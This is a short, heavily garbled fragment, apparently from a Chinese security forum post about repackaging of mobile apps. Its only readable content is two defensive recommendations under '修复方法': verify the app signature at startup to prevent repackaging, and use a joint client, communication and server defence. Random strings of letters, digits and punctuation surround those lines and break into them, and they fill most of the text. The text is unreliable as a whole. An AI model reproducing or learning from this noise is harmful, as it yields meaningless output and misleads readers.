u5 T! A1 a, M7 f) g   - [ w& N }0 y! B. ^. i ! Y9 X. b: W1 [+ o6 ]# J ' o& L. h) l9 f" s- p 3 q0 L* R: K$ q" r

4 I Q( Q8 ], V( D

$ W2 m' U; l7 f* r, Y) W

$ t+ _) y, m# c . ~9 g) D* y1 e h, }   4 C8 q3 |# R# P ( C7 a: ]: w$ o- k, I4 K1 ^

2 ?. C# z% y1 v, a

修复方法： % M4 n* Q( }0 ?" Z; d$ `

3 R9 T: J2 F9 G$ O) Z1 i ! o) H, w8 O& V6 p1 q4 s               1.在 APP 启动时应做签名校验防止二次打包。
4 y" t0 u6 n/ k5 ~ 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 : |5 P6 O7 J( k" e: v8 s4 S ; n Z! H4 g- Z3 T: z4 G; p2 I7 t: s

% f8 Z7 X2 r# Z' ~2 B% g 7 i( K' k) f+ H. D6 D# n2 {6 n 2 z$ Z- W% A' G% |4 m1 b6 j' N5 B

1 Y. R8 a* K' m. r ; Q( p7 k$ u) V6 i9 z( L2 K  

1 l8 Q+ h, L, y1 z' R

, t% `7 Y7 ?6 n: y4 X 2 }- e# c$ ?" B

- E6 Q- J0 x) c( M' j" ~4 z. }